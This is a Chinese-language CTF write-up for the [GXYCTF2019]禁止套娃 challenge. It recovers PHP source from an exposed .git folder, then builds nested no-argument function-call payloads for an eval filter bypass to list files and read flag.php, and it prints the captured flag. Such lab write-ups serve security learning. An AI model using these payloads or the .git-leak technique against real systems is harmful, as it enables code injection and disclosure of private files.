CTF笔记——[GXYCTF2019]禁止套娃 1
[GXYCTF2019]禁止套娃1
打开题目之后什么都没看到
所以进行常规的检测漏洞,扫描目录发现存在.git
文件夹下的文件存在
# Dirsearch started Sun Mar 10 15:19:39 2024 as: D:\Python\Scripts\dirsearch -u http://849b4a98-3df3-4abb-927e-1a358a178e30.node5.buuoj.cn:81/ -x 429 -i 200 -t 5
200 73B http://849b4a98-3df3-4abb-927e-1a358a178e30.node5.buuoj.cn:81/.git/description
于是尝试使用GitHack
还原源代码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp']))
{
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))
{ //不允许使用php协议
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
{ //替换为空字符,匹配的形式是形如a();的无参数的表达式
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))
{
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else
{
die("还差一点哦!");
}
}
else
{
die("再好好想想!");
}
}
else
{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
使用了正则表达式来过滤,这里其他的都好说,但是嵌套正则表达式(?R)?
有点不懂了
下边是AI的解答:
这是一个递归正则表达式,用来匹配嵌套的括号里的内容:
- [a-z,_]+匹配一个或多个字母、下划线或逗号
- (匹配开括号
- (?R)?匹配嵌套的正则表达式本身,?表示0或1次
- )匹配闭括号
- 括号内无参数
所以整体匹配的格式是:
字母/下划线/逗号 + 开括号 + (嵌套的相同格式 0或1次) + 闭括号
举个例子:
它可以匹配:
func(func()) name(_name()) list(list(1,2),3)
但不能匹配没有正确匹配括号的情况,如:
func() name(func
也就是说它可以匹配任意深度的嵌套括号内的名称,但括号必须正确嵌套匹配。
下边举几个蚕豆让大家理解一下:
以下的几种形式都是可以通过正则匹配的:
hello();
hello(world());
hey(hey(hjgf()));
var_dump(pos(scandir()));
下一阶段,咱们知道是要读取flag.php,所以我们要借助eval函数读取
注:
localeconv() 函数返回一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"."。
var_dump(localeconv());
结果如下
array(18)
{
["decimal_point"]=> string(1) "."
["thousands_sep"]=> string(0) ""
["int_curr_symbol"]=> string(0) ""
["currency_symbol"]=> string(0) ""
["mon_decimal_point"]=> string(0) ""
["mon_thousands_sep"]=> string(0) ""
["positive_sign"]=> string(0) ""
["negative_sign"]=> string(0) ""
["int_frac_digits"]=> int(127)
["frac_digits"]=> int(127)
["p_cs_precedes"]=> int(127)
["p_sep_by_space"]=> int(127)
["n_cs_precedes"]=> int(127)
["n_sep_by_space"]=> int(127)
"p_sign_posn"]=> int(127)
["n_sign_posn"]=> int(127)
["grouping"]=> array(0) { }
["mon_grouping"]=> array(0) { }
}
可以发现localeconv()
函数返回的数组中的第一个元素是.
也就是可以利用的地方了
?exp=var_dump(scandir(pos(localeconv())));
注:
scandir() 函数返回指定目录中的文件和目录的数组。
pos() 输出数组中的当前元素的值。
array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(4) ".git" [3]=> string(8) "flag.php" [4]=> string(9) "index.php" }
发现咱们想要的内容其实不在第一个但是在倒数第二个,所以咱们可以倒序输出第二个
?exp=var_dump(next(array_reverse(scandir(pos(localeconv())))));
注:
next() 输出数组中的当前元素和下一个元素的值。
array_reverse() 函数以相反的元素顺序返回数组。(主要是能返回值)
所以说必须要好好学习php的数组操作了
结果如下:
string(8) "flag.php"
之后使用highlight_file()
显示文件的内容来得到flag
?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
<?php
$flag = "flag{73a380bb-591f-4805-a4a2-b713f696869c}";
?>